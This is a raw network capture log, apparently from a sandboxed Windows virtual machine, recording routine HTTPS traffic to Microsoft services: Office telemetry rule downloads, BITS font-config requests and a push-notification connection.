2024-11-23 18:52:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:38 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 8b9ec706-101e-000b-544c-3c5e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185238Z-15b8b599d88m7pn7hC1TEB4axw00000003ag00000000e281 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:38 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.6	49794	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:38 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:38 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 80cdb4f4-d01e-0014-25b7-3ded58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185238Z-15b8b599d882l6clhC1TEBxd5c000000037g000000009msp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:38 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.6	49801	2.18.109.164	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:38 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-23 18:52:38 UTC	479	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=225617 Date: Sat, 23 Nov 2024 18:52:38 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.6	49796	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:38 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:38 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 89d933d2-101e-0028-046e-3c8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185238Z-174c587ffdfl22mzhC1TEBk40c00000003c000000000q0rp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:39 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.6	49797	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:38 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:38 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 9177d9ad-001e-0028-350e-3dc49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185238Z-178bfbc474bbbqrhhC1NYCvw74000000050g00000000a5m9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:39 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.6	49795	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:38 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 46 4c 62 65 76 42 53 7a 5a 6b 43 6f 41 55 54 62 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 65 32 35 33 61 37 31 32 36 35 34 33 33 31 64 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: FLbevBSzZkCoAUTb.1Context: 3e253a712654331d
2024-11-23 18:52:38 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-23 18:52:38 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 46 4c 62 65 76 42 53 7a 5a 6b 43 6f 41 55 54 62 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 65 32 35 33 61 37 31 32 36 35 34 33 33 31 64 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 61 6f 75 44 76 36 66 57 63 77 32 4b 58 6c 4e 6a 61 4b 6b 32 4c 71 54 4f 61 7a 72 34 62 46 76 76 52 42 44 72 71 54 46 4a 4b 6e 53 2b 55 49 2b 54 6a 51 77 62 43 4f 61 4c 4b 2f 47 6e 6e 6b 35 36 6e 73 6e 35 4e 4b 38 5a 37 70 4f 4d 4a 55 6d 36 6b 4e 6d 38 4d 72 42 69 45 68 43 52 39 7a 65 4a 4e 39 47 37 37 4a 32 4c 30 58 2b 6a 6d Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: FLbevBSzZkCoAUTb.2Context: 3e253a712654331d<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAaouDv6fWcw2KXlNjaKk2LqTOazr4bFvvRBDrqTFJKnS+UI+TjQwbCOaLK/Gnnk56nsn5NK8Z7pOMJUm6kNm8MrBiEhCR9zeJN9G77J2L0X+jm
2024-11-23 18:52:38 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 46 4c 62 65 76 42 53 7a 5a 6b 43 6f 41 55 54 62 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 65 32 35 33 61 37 31 32 36 35 34 33 33 31 64 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: FLbevBSzZkCoAUTb.3Context: 3e253a712654331d<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-23 18:52:39 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-23 18:52:39 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 64 54 6e 62 46 39 62 33 72 30 4f 67 6c 56 6e 5a 67 66 31 6f 76 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: dTnbF9b3r0OglVnZgf1ovA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.6	49802	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:40 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:40 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: b70f59bb-c01e-0079-1f91-3de51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185240Z-178bfbc474btrnf9hC1NYCb80g00000005400000000008h4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:40 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.6	49803	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:40 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:40 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 12647bc5-a01e-0070-6743-3d573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185240Z-178bfbc474btvfdfhC1NYCa2en00000004y000000000a3tx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:40 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.6	49804	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:40 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:40 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 79a9dcb6-201e-003c-1c7b-3b30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185240Z-178bfbc474bpnd5vhC1NYC4vr400000004v000000000c0cb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:40 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.6	49807	2.18.109.164	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:41 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-23 18:52:41 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=225640 Date: Sat, 23 Nov 2024 18:52:41 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-23 18:52:41 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.6	49805	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:41 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:41 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:41 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 7fefabc9-101e-000b-0f11-3d5e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185241Z-178bfbc474bnwsh4hC1NYC2ubs00000004x000000000df4n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:41 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.6	49806	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:41 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:42 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:41 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: ce4e00c6-401e-00a3-3516-3d8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185241Z-178bfbc474bgvl54hC1NYCsfuw00000004t000000000fnev x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
